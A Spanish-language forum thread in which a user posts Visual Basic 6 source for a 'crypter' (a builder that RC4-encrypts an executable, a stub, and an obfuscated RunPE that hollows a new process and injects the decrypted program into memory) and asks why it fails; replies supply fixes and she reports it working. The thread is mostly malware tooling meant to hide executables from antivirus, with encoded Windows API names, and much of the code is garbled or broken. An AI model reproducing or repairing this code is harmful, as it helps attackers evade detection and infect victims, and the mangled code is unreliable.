Locked ayuda a resolver un crypter

lo_dahiana_ol · May 29, 2012

Hola Me Presento Me Llamo Dahiana ando precisando una mano o alguien que me ayude a terminar mi crypter porque logro que cumpla todas las funciones pero el encryptado despues no se ejecuta me sale un cartel que dice "Eror 13 En Tiempo de Ejecucion no coinciden los tipos"

y no puedo encontrar la falla les pego el codeado de el crypter y de el stub y el runpe que uso desde ya muchas gracias si alguien me ayuda

Este es el codeado de el crypter

_____________________________

Private Sub cmdBuscar_Click()

With CD

.DialogTitle = "Seleccione el archivo a encriptar!"

.Filter = "Aplicaciones EXE|*.exe"

.ShowOpen

End With

If Not CD.FileName = vbNullString Then

txtArchivo.Text = CD.FileName

MsgBox "Archivo cargado correctamente!", vbInformation, Me.Caption

End If

End Sub

Private Sub cmdProteger_Click()

Dim Stub As String, Archivo As String

If txtArchivo.Text = vbNullString Then

MsgBox "Primero debe cargar un archivo para encriptar!", vbExclamation, Me.Caption

Exit Sub

Else

Open App.Path & "\Stub.exe" For Binary As #1

Stub = Space(LOF(1))

Get #1, , Stub

Close #1

Open txtArchivo.Text For Binary As #1

Archivo = Space(LOF(1))

Get #1, , Archivo

Close #1

With CD

.DialogTitle = "Selecione la ruta donde guardar el archivo encriptado!"

.Filter = "Aplicaciones EXE|*.exe"

.ShowSave

End With

If Not CD.FileName = vbNullString Then

Archivo = RC4(Archivo, lo_dahiana_ol)

Open CD.FileName For Binary As #1

Put #1, , Stub & "##$$##" & Archivo & "##$$##"

Close #1

MsgBox "Archivo Encriptado Correctamente!", vbInformation, Me.Caption

End If

End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String

On Error Resume Next

Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte

Key() = StrConv(Password, vbFromUnicode)

For X = 0 To 255

Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256

F(X) = X

Next X

Key() = StrConv(Data, vbFromUnicode)

For X = 0 To Len(Data)

Y = (Y + F(Y) + 1) Mod 256

Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))

Next X

RC4 = StrConv(Key, vbUnicode)

End Function

Este es el Codeado de el Stub

_________________________

Sub Main()

Dim YO As String, Datos As String, sData() As String

YO = App.Path & "\" & App.EXEName & ".exe"

Open YO For Binary As #1

Datos = Space(LOF(1))

Get #1, , Datos

Close #1

sData() = Split(Datos, "##$$##")

'

sData(1) = RC4(sData(1), sData(2))

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A YO, StrConv(sData(1), vbFromUnicode), vbNullString 'Nos ejecutamos en memoria convirtiendo esos datos desde Unicode!

End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String

On Error Resume Next

Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte

Key() = StrConv(Password, vbFromUnicode)

For X = 0 To 255

Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256

F(X) = X

Next X

Key() = StrConv(Data, vbFromUnicode)

For X = 0 To Len(Data)

Y = (Y + F(Y) + 1) Mod 256

Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))

Next X

RC4 = StrConv(Key, vbUnicode)

End Function

Este es El RunPE que Utilice en Memoria

Option Explicit

Declare Sub RtlMoveMemory Lib "KERNEL32" («•¦¦AS¦¦º¦¦AS¦¦º•ª›¬¼–° As Any, ¦¦AS¦¦ºµª¾¯œ¹ As Any, ByVal ¦¦AS¦¦º¯œ¹ As Long)

Declare Function CallWindowProcA Lib "user32" (ByVal š°³™“¦¦¦¦º¦¦¦¦º As Long, ByVal ¦¦AS¦¦º As Long, ByVal ¦¦º¦¦º¦¦ºS¦¦º As Long, ByVal š°³°¦¦¦¦º¼C“¦¦¦¦º¦¦¦¦º As Long, ByVal š°³°¦¦¦¦º¼D“¦¦¦¦º¦¦¦¦º As Long) As Long

Declare Function GetProcAddress Lib "KERNEL32" (ByVal ¦¦AS¦¦º•ª As Long, ByVal «¦¦¦¦º°ª¦¦¦¦º³¦¦¦¦ºž½¦¦¦¦º As String) As Long

Declare Function GetModuleHandleA Lib "KERNEL32" (ByVal «¦¦¦A¦¦¦¦¦¦¦ºš As String) As Long

Dim ¬*š*¦¦º¦¦º¦¦º¦¦ºœ¦¦º¦¦º¦¦º¦¦º¼²¦¦º¦¦º¦¦º¦¦ºµ«(36) As Byte

Dim ¬**ºœº²ºC___C«(36) As Byte

Public Sub sCOOOL()

Dim «±¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A As Variant

Dim D As Long

For Each «±¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A In Array(&H55, &H8B, &HEC, &H56, &H57, &H60, &HFC, &H8B, &H75, &HC, &H8B, &H7D, &H8, &H8B, &H4D, &H10, &HC1, &HE9, &H2, &HF3, &HA5, &H8B, &H4D, &H10, &H83, &HE1, &H3, &HF3, &HA4, &H61, &H5F, &H5E, &HC9, &HC2, &H10, &H0, &H20)

¬**ºœº²ºC___C«(D) = CByte(«±¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A): D = D + 1

'By Cobein

Function †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(ByVal ¦¦¦¦¦¦¦¦¦¦³›¬•¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A As String, ByVal «³›¬•¦A¦B As String, ParamArray ¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AC___C“()) As Long

On Error Resume Next

Dim ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© As Long

Dim ºª›†º•AºA¦›©(&HEC00& - 1) As Byte

Dim i As Long

Dim lMod As Long

lMod = GetProcAddress(GetModuleHandleA(¦¦¦¦¦¦¦¦¦¦³›¬•¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A), «³›¬•¦A¦B)

If lMod = 0 Then Exit Function

ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© = VarPtr(ºª›†º•AºA¦›©(0))

RtlMoveMemory ByVal ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›©, &H59595958, &H4: ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© = ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© + 4

RtlMoveMemory ByVal ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›©, &H5059, &H2: ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© = ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© + 2

For i = UBound(¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AC___C“) To 0 Step -1

RtlMoveMemory ByVal ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›©, &H68, &H1: ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© = ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© + 1

RtlMoveMemory ByVal ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›©, CLng(¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AC___C“(i)), &H4: ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© = ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© + 4

RtlMoveMemory ByVal ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›©, lMod - ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© - 4, &H4: ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© = ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© + 4

RtlMoveMemory ByVal ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›©, &HC3, &H1: ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© = ºª›†º•Aº›¦¦¦¦¦¦¦¦¦¦¦›© + 1

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A = CallWindowProcA(VarPtr(ºª›†º•AºA¦›©(0)), 0, 0, 0, 0)

End Function

' By Strike Bot

Public Sub †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A(ByVal lp«•—•ª›¬–°ino As Long, ByVal ›ƒ› As Long, ByVal ›ƒ©¦¦¦¦¦¦¦¦¦¦¾³›v As Long)

Call CallWindowProcA(VarPtr(¬**ºœº²ºC___C«(0)), lp«•—•ª›¬–°ino, ›ƒ›, ›ƒ©¦¦¦¦¦¦¦¦¦¦¾³›v, 0)

End Sub

' By Jhonjhon_123

Public Sub sTimerize(«›«±¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A As String, «C___C¬³›¦() As Byte)

On Error Resume Next

Dim †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A(63) As Byte ' IMAGE_DOS_HEADER

Dim †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AA›(247) As Byte ' IMAGE_NT_HEADERS

Dim †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AB›(39) As Byte ' IMAGE_SECTION_HEADER

Dim †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AC›(15) As Byte ' PROCESS_INFORMATION

Dim †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AD›(67) As Byte ' STARTUPINFO

Dim †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AE›(203) As Byte ' CONTEXT86

Dim †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AF› As Long

Dim ›A¦¦¦¦¦¦¦¦¦¦›Bv As Long

Dim ›B¦¦¦¦¦¦¦¦¦¦›Cv As Long

Dim ›D¦¦¦¦¦¦¦¦¦¦›Ev As Long

Dim †AC___C¦¦¦¦¦¦¦¦¦¦ªº¦¦¦¦¦¦¦¦¦¦w¥ As Long

Dim ±œ•¬ As Long

Dim ±œ¦½•¬ As Long

Dim ¦¦¦¦¦¦¦¦¦¦•¬ As Integer

Dim ¦¦¦¦¦¦¦¦¦¦•¦¬¬ As Long

Dim ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦• As Long

Dim ¦¦¦¦¦¦¦¦¦¦¦A• As Long

Dim ¦¾«A• As Long

Dim —•ª—•XzA—•ª As Long

Dim ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦A¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ As Long

Dim D As Long

¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦A¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ = 68

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AD›(0)), VarPtr(¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦A¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦), 4&

¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦A¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ = &H10007

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AE›(0)), VarPtr(¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦A¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A(0)), VarPtr(«C___C¬³›¦(0)), 64&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AF›), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A(60)), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AA›(0)), VarPtr(«C___C¬³›¦(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AF›)), 248&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(›A¦¦¦¦¦¦¦¦¦¦›Bv), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AA›(52)), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(†AC___C¦¦¦¦¦¦¦¦¦¦ªº¦¦¦¦¦¦¦¦¦¦w¥), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AA›(80)), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(±œ•¬), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AA›(84)), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(±œ¦½•¬), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AA›(40)), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(¦¦¦¦¦¦¦¦¦¦•¬), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AA›(6)), 2&

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("34mfosfl"), zM3("XttfdpsQfubfsD"), 0, StrPtr(«›«±¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A), 0, 0, 0, &H4, 0, 0, VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AD›(0)), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AC›(0)))

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(›B¦¦¦¦¦¦¦¦¦¦›Cv), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AC›(0)), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(›D¦¦¦¦¦¦¦¦¦¦›Ev), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AC›(4)), 4&

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("mmeuo"), zM3("opjudfTgPxfjWqbnoVuO"), ›B¦¦¦¦¦¦¦¦¦¦›Cv, ›A¦¦¦¦¦¦¦¦¦¦›Bv)

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("34mfosfl"), zM3("yFdpmmBmbvusjW"), ›B¦¦¦¦¦¦¦¦¦¦›Cv, ›A¦¦¦¦¦¦¦¦¦¦›Bv, †AC___C¦¦¦¦¦¦¦¦¦¦ªº¦¦¦¦¦¦¦¦¦¦w¥, &H1000& Or &H2000&, &H40)

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("34mfosfl"), zM3("zspnfNttfdpsQfujsX"), ›B¦¦¦¦¦¦¦¦¦¦›Cv, ›A¦¦¦¦¦¦¦¦¦¦›Bv, VarPtr(«C___C¬³›¦(0)), ±œ•¬, 0)

For D = 0 To ¦¦¦¦¦¦¦¦¦¦•¬ - 1

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AB›(0)), VarPtr(«C___C¬³›¦(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AF› + 248& + 40& * D)), 40&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(¦¦¦¦¦¦¦¦¦¦•¦¬¬), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AB›(12)), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(¦¦¦¦¦¦¦¦¦¦¦A•), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AB›(16)), 4&

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦•), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AB›(20)), 4&

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("34mfosfl"), zM3("zspnfNttfdpsQfujsX"), ›B¦¦¦¦¦¦¦¦¦¦›Cv, ›A¦¦¦¦¦¦¦¦¦¦›Bv + ¦¦¦¦¦¦¦¦¦¦•¦¬¬, VarPtr(«C___C¬³›¦(¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦•)), ¦¦¦¦¦¦¦¦¦¦¦A•, 0)

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("34mfosfl"), zM3("uyfuopDebfsiUufH"), ›D¦¦¦¦¦¦¦¦¦¦›Ev, VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AE›(0)))

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(¦¾«A•), VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AE›(164)), 4&

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("34mfosfl"), zM3("zspnfNttfdpsQfujsX"), ›B¦¦¦¦¦¦¦¦¦¦›Cv, ¦¾«A• + 8&, VarPtr(›A¦¦¦¦¦¦¦¦¦¦›Bv), 4&, 0)

¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦A¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ = ›A¦¦¦¦¦¦¦¦¦¦›Bv + ±œ¦½•¬

†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ª†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A¦¦¦¦¦¦¦¦¦¦C___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___A VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AE›(176)), VarPtr(¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦A¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦), 4&

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("34mfosfl"), zM3("uyfuopDebfsiUufT"), ›D¦¦¦¦¦¦¦¦¦¦›Ev, VarPtr(†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___B¦¦¦¦¦¦¦¦¦¦†C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___CB___BA___AE›(0)))

Call †C___C¦¦¦¦¦¦¦¦¦¦ªº›†ªTC___C†AA†A___A(zM3("34mfosfl"), zM3("ebfsiUfnvtfS"), ›D¦¦¦¦¦¦¦¦¦¦›Ev)

End Sub

Function zM3(ByVal zNull As String)

Dim Y() As Byte, Z As Long

Y = zNull

For Z = UBound(Y) - 1 To 0 Step -2

zM3 = zM3 & Chr$(Y(Z) - 1)

Next Z

End Function

Cabe Agregar que el RunPE lo Encontre en la web no es mio

~~BreakPoint~~ · May 29, 2012

Estaria genial que pusieras el source entre las quote de codigo para facilitar la vista...

Er Kali · May 30, 2012

Ese error es debido a que el split no hace bien su funcion.

en el cliente debes corregir esto: Put #1, , Stub & "##$$##" & Archivo & "##$$##"

por esto: Put #1, , Stub & "##$$##" & Archivo & "##$$##" & "lo_dahiana_ol"

También recomiendo que cambies Archivo = RC4(Archivo, lo_dahiana_ol) por Archivo = RC4(Archivo, "lo_dahiana_ol")

Saludos

lo_dahiana_ol · May 30, 2012

gracias de todas maneras le cambie esas partes y aun asi me da el mismo error 13 en tiempo de ejecucion evidentemente algo no hice bien

EDIT:

kiss25 gracias era error de el RunPE parece que estaba malo y no servia use otro RunPe y funciona a la perfeccion asi que de ahora en mas estare posteando jejejejeje Muchas gracias por su tiempo

Edited May 31, 2012 by NeoxSys
doble post

~~NeoxSys~~ · May 31, 2012

Perfecto, nos alegramos que te haya funcionado ;) Si ya está todo resuelto cierro el tema

si no, diselo a algun mod que lo reabrirá

;)

Sign In

Locked ayuda a resolver un crypter

Question

lo_dahiana_ol

Link to comment

Share on other sites

3 answers to this question

Recommended Posts

BreakPoint

Link to comment

Share on other sites

Er Kali

Link to comment

Share on other sites

lo_dahiana_ol

Link to comment

Share on other sites

NeoxSys

Link to comment

Share on other sites

Browse

Activity

Store

Important Information